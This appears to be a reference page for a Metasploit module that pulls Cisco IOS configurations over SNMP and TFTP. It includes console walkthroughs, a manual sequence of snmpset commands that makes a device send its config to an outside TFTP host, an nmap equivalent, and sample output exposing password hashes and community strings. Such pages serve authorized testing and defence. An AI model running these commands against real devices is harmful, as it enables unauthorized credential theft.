Cisco IOS SNMP Configuration Grabber (TFTP) - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/snmp/cisco_config_tftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco IOS SNMP Configuration Grabber (TFTP)
Module: auxiliary/scanner/snmp/cisco_config_tftp
Source code: modules/auxiliary/scanner/snmp/cisco_config_tftp.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: -
This module will download the startup or running configuration from a Cisco IOS device using SNMP and TFTP. A read-write SNMP community is required. The SNMP community scanner module can assist in identifying a read-write community. The target must be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp) > show options
... show and set options ...
msf auxiliary(cisco_config_tftp) > set RHOSTS ip-range
msf auxiliary(cisco_config_tftp) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cisco_config_tftp) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cisco_config_tftp) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cisco_config_tftp) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP. This is a well documented feature of IOS and many other networking devices, and is part of an administrator functionality. A read-write community string is required, as well as a tftp server (metasploit includes one). After the config has been copied, the SNMP paramters are deleted.
Verification Steps
- Enable SNMP with a read/write community string on IOS:
snmp-server community private rw
- Start msfconsole
- Do:
use auxiliary/scanner/snmp/cisco_config_tftp
- Do:
set COMMUNITY [read-write snmp]
- Do:
set rhosts [ip]
- Do:
run
Options
COMMUNITY
The SNMP community string to use which must be read-write. Default is public
.
Scenarios
Cisco UC520-8U-4FXO-K9 running IOS 12.4
msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run
[*] Starting TFTP server...
[*] Scanning for vulnerable targets...
[*] Trying to acquire configuration from 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:161 SNMP Community (RO): public
[+] 2.2.2.2:161 SNMP Community (RW): private
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
Manual Interaction
This process can also be executed manually utilizing Metasploit's TFTP server. Cisco's documentation was utilized to create this process.
- Start the TFTP server
msf5 > use auxiliary/server/tftp
msf5 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/tftp) >
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp
- Execute the SNMP commands. An integer is required to group the requests together,
666
is used in this example.
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
- At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove
666
from the system.
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
- Confirm we have our config file
msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
[*] exec: ls -lah /tmp/backup_config
-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config
Confirming using NMAP
Utilizing the snmp-ios-config script
nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
Nmap scan report for 192.168.2.239
Host is up (0.0034s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-ios-config:
| !
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
| !
| version 12.4
| parser config cache interface
| no service pad
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no service password-encryption
| service internal
| service compress-config
| service sequence-numbers
| !
| hostname UC520
...sip...
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Msfconsole Usage
Here is how the scanner/snmp/cisco_config_tftp auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/snmp/cisco_config_tftp
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show info
Name: Cisco IOS SNMP Configuration Grabber (TFTP)
Module: auxiliary/scanner/snmp/cisco_config_tftp
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
pello <[email protected]>
hdm <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
LHOST no The IP address of the system running this module
OUTPUTDIR no The directory where we should save the configuration files (disabled by default)
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (UDP)
SOURCE 4 yes Grab the startup (3) or running (4) configuration (Accepted: 3, 4)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
Description:
This module will download the startup or running configuration from
a Cisco IOS device using SNMP and TFTP. A read-write SNMP community
is required. The SNMP community scanner module can assist in
identifying a read-write community. The target must be able to
connect back to the Metasploit system and the use of NAT will cause
the TFTP transfer to fail.
Module Options
This is a complete list of options available in the scanner/snmp/cisco_config_tftp auxiliary module:
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show options
Module options (auxiliary/scanner/snmp/cisco_config_tftp):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
LHOST no The IP address of the system running this module
OUTPUTDIR no The directory where we should save the configuration files (disabled by default)
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (UDP)
SOURCE 4 yes Grab the startup (3) or running (4) configuration (Accepted: 3, 4)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
Advanced Options
Here is a complete list of advanced options supported by the scanner/snmp/cisco_config_tftp auxiliary module:
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show advanced
Module advanced options (auxiliary/scanner/snmp/cisco_config_tftp):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/snmp/cisco_config_tftp module can do:
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/snmp/cisco_config_tftp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP> Error: <E.CLASS> <E> <E.BACKTRACE>
Here is a relevant code snippet related to the "<IP> Error: <E.CLASS> <E> <E.BACKTRACE>" error message:
145: # No need to make noise about timeouts
146: rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
147: rescue ::Interrupt
148: raise $!
149: rescue ::Exception => e
150: print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
151: ensure
152: disconnect_snmp
153: end
154: end
155: end
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Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #1092 Merged Pull Request: Make error handling consistent in SNMP modules
- #448 Merged Pull Request: Correct emails for aux and exploit modules
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See Also
Check also the following modules related to this module:
- auxiliary/admin/tftp/tftp_transfer_util
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/windows/tftp/pt360_write
- auxiliary/dos/windows/tftp/solarwinds
- auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
- auxiliary/scanner/tftp/netdecision_tftp
- auxiliary/scanner/tftp/tftpbrute
- auxiliary/server/tftp
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/freefloatftp_user
- exploit/windows/ftp/freefloatftp_wbem
- exploit/windows/ftp/netterm_netftpd_user
- exploit/windows/ftp/scriptftp_list
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/netdecision_tftp_traversal
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/tftpserver_wrq_bof
- exploit/windows/tftp/threectftpsvc_long_mode
- post/windows/gather/credentials/smartftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/aix_version
- auxiliary/scanner/snmp/arris_dg950
- auxiliary/scanner/snmp/brocade_enumhash
- auxiliary/scanner/snmp/cnpilot_r_snmp_loot
- auxiliary/scanner/snmp/epmp1000_snmp_loot
- auxiliary/scanner/snmp/netopia_enum
- auxiliary/scanner/snmp/sbg6580_enum
- auxiliary/scanner/snmp/snmp_enum
- auxiliary/scanner/snmp/snmp_enum_hp_laserjet
- auxiliary/scanner/snmp/snmp_enumshares
- auxiliary/scanner/snmp/snmp_enumusers
- auxiliary/scanner/snmp/snmp_login
- auxiliary/scanner/snmp/snmp_set
- auxiliary/scanner/snmp/ubee_ddw3611
- auxiliary/scanner/snmp/xerox_workcentre_enumusers
- exploit/linux/snmp/awind_snmp_exec
- exploit/linux/snmp/net_snmpd_rw_access
Authors
- pello <fropert[at]packetfault.org>
- hdm
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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